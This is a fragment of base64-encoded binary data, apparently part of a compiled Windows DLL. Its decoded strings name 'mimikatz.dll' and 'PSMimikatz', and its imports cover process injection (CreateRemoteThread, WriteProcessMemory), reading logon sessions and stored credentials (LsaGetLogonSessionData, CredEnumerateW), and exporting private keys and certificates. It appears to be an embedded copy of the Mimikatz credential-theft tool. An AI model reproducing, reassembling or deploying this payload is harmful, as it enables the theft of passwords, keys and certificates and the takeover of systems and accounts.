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GAAAAAACEewYAAAAAALZ7BgAAAAAApnsGAAAAAABSewYAAAAAAAAAAAAAAAAArH0GAAAAAADofQYAAAAAAMZ9BgAAAAAAmn0GAAAAAADWfQYAAAAAAAAAAAAAAAAAEQBHZXRNb2R1bGVJbmZvcm1hdGlvbgAAUFNBUEkuRExMALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMsAQ3J5cHRSZWxlYXNlQ29udGV4dADKAENyeXB0SW1wb3J0S2V5AAC3AENyeXB0RGVzdHJveUtleQC0AENyeXB0RGVjcnlwdAAAvwBDcnlwdEV4cG9ydEtleQAAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMYAQ3J5cHRHZXRQcm92UGFyYW0AxABDcnlwdEdldEhhc2hQYXJhbQCzAENyeXB0Q3JlYXRlSGFzaAC2AENyeXB0RGVzdHJveUhhc2gAAMgAQ3J5cHRIYXNoRGF0YQCVAUxvb2t1cFByaXZpbGVnZU5hbWVXAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAkQFMb29rdXBBY2NvdW50U2lkVwDfAER1cGxpY2F0ZVRva2VuRXgAAK0CU2V0S2VybmVsT2JqZWN0U2VjdXJpdHkAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAACABRnJlZVNpZABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAAABAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwCAAUlzVGV4dFVuaWNvZGUAxQBDcnlwdEdldEtleVBhcmFtAADHAENyeXB0R2V0VXNlcktleQCMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAAAtAlJlYWRFbmNyeXB0ZWRGaWxlUmF3AABVAENsb3NlRW5jcnlwdGVkRmlsZVJhdwAfAlF1ZXJ5UmVjb3ZlcnlBZ2VudHNPbkVuY3J5cHRlZEZpbGUAAB4BRnJlZUVuY3J5cHRpb25DZXJ0aWZpY2F0ZUhhc2hMaXN0ACwCUXVlcnlVc2Vyc09uRW5jcnlwdGVkRmlsZQD0AU9wZW5FbmNyeXB0ZWRGaWxlUmF3VwBzAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAG4CUmVnUXVlcnlWYWx1ZUV4VwAAYQJSZWdPcGVuS2V5RXhXADACUmVnQ2xvc2VLZXkAaAJSZWdRdWVyeUluZm9LZXlXAABPAlJlZ0VudW1LZXlFeFcAkAJSZXZlcnRUb1NlbGYAAIEAQ3JlYXRlU2VydmljZVcAAEFEVkFQSTMyLmRsbAAAPQJQb3N0VGhyZWFkTWVzc2FnZVcAAKgBR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAADyAEVudW1XaW5kb3dzAC4DV2FpdEZvcklucHV0SWRsZQAAGQNVcGRhdGVXaW5kb3cAAMIBSW52YWxpZGF0ZVJlY3QAAFVTRVIzMi5kbGwAAB4AR2V0VXNlck5hbWVFeFcAACoATHNhRnJlZVJldHVybkJ1ZmZlcgArAExzYUdldExvZ29uU2Vzc2lvbkRhdGEAACkATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBTZWN1cjMyLmRsbABLAENlcnRHZXROYW1lU3RyaW5nVwAAVwBDZXJ0T3BlblN0b3JlAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAABIAQ2VydENsb3NlU3RvcmUAAEYAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AC8AQ2VydEVudW1TeXN0ZW1TdG9yZQAQAVBGWEV4cG9ydENlcnRTdG9yZUV4AAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQBDUllQVDMyLmRsbABlAFBhdGhJc1JlbGF0aXZlVwA4AFBhdGhDYW5vbmljYWxpemVXADoAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAbAFdUU09wZW5TZXJ2ZXJXAAALAFdUU0VudW1lcmF0ZVByb2Nlc3Nlc1cAABIAV1RTRnJlZU1lbW9yeQAAAFdUU0Nsb3NlU2VydmVyAAARAFdUU0VudW1lcmF0ZVNlc3Npb25zVwBXVFNBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbAA0BVdyaXRlRmlsZQCPAENyZWF0ZUZpbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAACAJHZXRMYXN0RXJyb3IAAFIAQ2xvc2VIYW5kbGUAaAFGcmVlTGlicmFyeQBBA0xvYWRMaWJyYXJ5VwAAgARTZXRMYXN0RXJyb3IAAEwCR2V0UHJvY0FkZHJlc3MAAB4CR2V0TW9kdWxlSGFuZGxlVwAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAACCA09wZW5Qcm9jZXNzAPwEVmlydHVhbEZyZWVFeAD5BFZpcnR1YWxBbGxvY0V4AADGAUdldEN1cnJlbnRQcm9jZXNzAMYDUmVhZFByb2Nlc3NNZW1vcnkA/wRWaXJ0dWFsUHJvdGVjdEV4AAD+BFZpcnR1YWxQcm90ZWN0AAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAAKwJHZXROYXRpdmVTeXN0ZW1JbmZvAGUAQ29ubmVjdE5hbWVkUGlwZQAAoABDcmVhdGVOYW1lZFBpcGVXAADDA1JlYWRGaWxlAADlAERpc2Nvbm5lY3ROYW1lZFBpcGUAqABDcmVhdGVQcm9jZXNzVwAA+QJJc0JhZFJlYWRQdHIAAM4EVGVybWluYXRlUHJvY2VzcwAAmANQcm9jZXNzMzJGaXJzdFcAXQNNb2R1bGUzMkZpcnN0VwAAmgNQcm9jZXNzMzJOZXh0VwAAvQBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAF8DTW9kdWxlMzJOZXh0VwBKA0xvY2FsRnJlZQBkAUZvcm1hdE1lc3NhZ2VXAACsAkdldFZlcnNpb25FeFcAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAlAFHZXRDb21wdXRlck5hbWVFeFcAANEEVGhyZWFkMzJGaXJzdADPBFRlcm1pbmF0ZVRocmVhZADSBFRocmVhZDMyTmV4dAAAhwNPcGVuVGhyZWFkAADIBFN1c3BlbmRUaHJlYWQAFgRSZXN1bWVUaHJlYWQAAFYEU2V0Q29uc29sZVRpdGxlVwAAlgBDcmVhdGVKb2JPYmplY3RXAAAWAEFzc2lnblByb2Nlc3NUb0pvYk9iamVjdAAAUwJHZXRQcm9jZXNzSWQAAOwARHVwbGljYXRlSGFuZGxlAM0EVGVybWluYXRlSm9iT2JqZWN0AAABBVZpcnR1YWxRdWVyeUV4AADABFNsZWVwAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAABrAkdldFN0ZEhhbmRsZQAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgBwAkdldFN0cmluZ1R5cGVXAADuAEVuY29kZVBvaW50ZXIAywBEZWNvZGVQb2ludGVyAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwDaAkhlYXBSZUFsbG9jAMsBR2V0Q3VycmVudFRocmVhZElkAABbAUZsc1NldFZhbHVlAIwBR2V0Q29tbWFuZExpbmVBAHgBR2V0Q1BJbmZvALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AC8DTENNYXBTdHJpbmdXAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAmBFJ0bFZpcnR1YWxVbndpbmQAABgEUnRsQ2FwdHVyZUNvbnRleHQA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAFgBRmxzQWxsb2MAAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAfAUV4aXRQcm9jZXNzABoCR2V0TW9kdWxlRmlsZU5hbWVXAAB8BFNldEhhbmRsZUNvdW50AAD6AUdldEZpbGVUeXBlAGoCR2V0U3RhcnR1cEluZm9XAHQEU2V0RmlsZVBvaW50ZXIAAG4BR2V0QUNQAAA+AkdldE9FTUNQAAAMA0lzVmFsaWRDb2RlUGFnZQCUBFNldFN0ZEhhbmRsZQAAowJHZXRVc2VyRGVmYXVsdExDSUQAAAwCR2V0TG9jYWxlSW5mb1cAAAoCR2V0TG9jYWxlSW5mb0EAABIBRW51bVN5c3RlbUxvY2FsZXNBAAAOA0lzVmFsaWRMb2NhbGUAoAFHZXRDb25zb2xlQ1AAALIBR2V0Q29uc29sZU1vZGUAANwCSGVhcFNpemUAABkCR2V0TW9kdWxlRmlsZU5hbWVBAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCaAkdldFRpY2tDb3VudAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAMwVXcml0ZUNvbnNvbGVXAGEEU2V0RW5kT2ZGaWxlAABRAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAABLXSVIAAAAAHIcGAAEAAAACAAAAAgAAAAiHBgAQhwYAGIcGAIRQAQCETgEAKYcGADSHBgAAAAEAbWltaWthdHouZGxsAFBTTWltaWthdHoAV1N0cmluZ0Z1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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